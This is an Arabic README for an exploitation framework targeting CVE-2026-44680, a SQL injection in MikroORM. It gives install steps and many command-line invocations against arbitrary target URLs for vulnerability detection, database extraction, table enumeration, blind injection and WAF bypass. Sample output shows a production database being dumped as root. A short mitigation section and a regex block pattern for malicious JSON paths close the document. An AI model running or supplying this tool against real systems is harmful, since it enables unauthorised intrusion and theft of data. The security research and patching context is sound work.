
أداة PoC لثغرة CVE-2026-44680 التي تؤثر على MikroORM الإصدار 7.0.13 فما دون. تستغل حقن مسار JSON لاستخراج محتويات قاعدة البيانات عبر هجمات قائمة على UNION. تتميز باكتشاف الثغرات، واستخراج البيانات آليًا، وتعداد الجداول، ودعم الحقن الأعمى. تتضمن دعم التكامل مع بروكسي Burp Suite وتقنيات تجاوز WAF.
أداة احترافية لإثبات المفهوم لباحثي الأمن
CVE-2026-44680 هي ثغرة حقن SQL حرجة تؤثر على MikroORM، وهي أداة ORM شائعة بلغة TypeScript لبيئة Node.js. يوفر إطار العمل هذا لباحثي الأمن ومختبري الاختراق أداة احترافية لاكتشاف الثغرة واستغلالها.
المؤلف: Sudeepa Wanigarathna
الإصدار: 1.0.0
التصنيف: أداة بحث أمني احترافية
| الخاصية | القيمة |
|---|
| معرّف CVE | CVE-2026-44680 |
| درجة CVSS | 7.6 (عالية) |
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | منخفضة |
@mikro-orm/knex <= 6.6.13@mikro-orm/sql <= 7.0.13يفشل MikroORM في تهريب (escape) مفاتيح مسار JSON المتحكم بها وقت التشغيل بشكل صحيح عند بناء استعلامات JSON_EXTRACT. يمكن للمهاجمين الخروج من سياق مسار JSON وحقن كود SQL تعسفي.
| الميزة | الوصف | الحالة |
|---|---|---|
| اكتشاف الثغرة | اكتشاف قائم على الوقت وقائم على الأخطاء | ✅ |
| استخراج قاعدة البيانات | الإصدار، قاعدة البيانات، المستخدم، اسم المضيف | ✅ |
| تعداد الجداول | الاكتشاف التلقائي لجميع الجداول | ✅ |
| الحقن القائم على UNION | استخراج البيانات عبر UNION SELECT | ✅ |
| الحقن الأعمى | استخراج الأحرف قائم على القيم المنطقية | ✅ |
| دعم الوكيل | Burp Suite / وكيل اعتراض | ✅ |
| إنشاء التقارير | تقارير TXT احترافية | ✅ |
| تجاوز WAF | تقنيات إخفاء متقدمة | ✅ |
# Python 3.8 or higher
python3 --version
# pip package manager
pip --version
git clone https://github.com/CerberusMrXi/CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework
cd CVE-2026-44680-exploit
# Using requirements.txt
pip install -r requirements.txt
# Or install manually
pip install requests colorama tqdm urllib3 simplejson
python exploit.py --help
requests>=2.31.0
colorama>=0.4.6
tqdm>=4.65.0
urllib3>=2.0.0
simplejson>=3.19.0
# Full exploitation
python exploit.py -u http://localhost:3000
# Vulnerability detection only
python exploit.py -u http://target.com --detect
# Extract database information
python exploit.py -u http://target.com --extract
# Enumerate tables
python exploit.py -u http://target.com --enumerate
| العلامة | الوصف | الافتراضي |
|---|---|---|
-u, --url | عنوان الهدف (مطلوب) | - |
-e, --endpoint | نقطة نهاية API | /api/users/search |
-p, --proxy | وكيل HTTP | لا شيء |
-v, --verbose | مخرجات تفصيلية | False |
--detect | اكتشاف الثغرة فقط | False |
--extract | استخراج معلومات قاعدة البيانات | False |
--enumerate | تعداد الجداول | False |
--blind | وضع الحقن الأعمى | False |
python exploit.py -u http://192.168.1.100:3000
python exploit.py -u http://target.com -e /api/v2/users/query
python exploit.py -u http://target.com -p http://127.0.0.1:8080
python exploit.py -u http://target.com -v --extract
python exploit.py -u http://target.com --blind
python exploit.py -u http://target.com --detect
python exploit.py -u http://target.com --extract
python exploit.py -u http://target.com --enumerate
============================================================
MikroORM CVE-2026-44680 Exploitation Framework
Author: Sudeepa Wanigarathna
============================================================
[*] Performing vulnerability detection on /api/users/search
[+] Vulnerable to time-based SQL injection
[+] Vulnerability confirmed!
[*] Extracting database information...
[*] Enumerating tables...
[+] Found table: users
[+] Found table: products
[+] Found table: orders
[+] Found table: payments
[+] Found table: admin
===== MIKROORM CVE-2026-44680 EXPLOITATION REPORT =====
Author: Sudeepa Wanigarathna (Security Researcher)
Date: 2026-07-20 14:30:45
Target: http://localhost:3000
[*] VULNERABILITY DETAILS
- CVE: CVE-2026-44680
- CVSS Score: 7.6 (High)
- Affected Components: @mikro-orm/knex <= 6.6.13
[*] DATABASE INFORMATION
- Version: 10.11.6-MariaDB
- Database: production_db
- User: root@localhost
- Hostname: localhost
[*] ENUMERATED TABLES (5 found)
1. users
2. products
3. orders
4. payments
5. admin
[+] Report saved to exploit_report_1742493645.txt
[+] Table list saved to tables_1742493645.txt
exploit_report_1742493645.txt # Complete exploitation report
tables_1742493645.txt # List of discovered tables
npm install @mikro-orm/knex@latest
npm install @mikro-orm/sql@latest
const ALLOWED_JSON_PATHS = ['$.email', '$.name', '$.metadata'];
function validateJsonPath(key) {
if (!ALLOWED_JSON_PATHS.includes(key)) {
throw new Error('Invalid JSON path');
}
return key;
}
# Block suspicious JSON path patterns
"filterField": "\$\.x'\) OR .* -- "
مهم: هذه الأداة مخصصة لاختبار الأمن المصرح به والأغراض التعليمية فقط.
هذا المشروع مرخص بموجب رخصة MIT.
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
...
صُنع بـ ❤️ لمجتمع أبحاث الأمن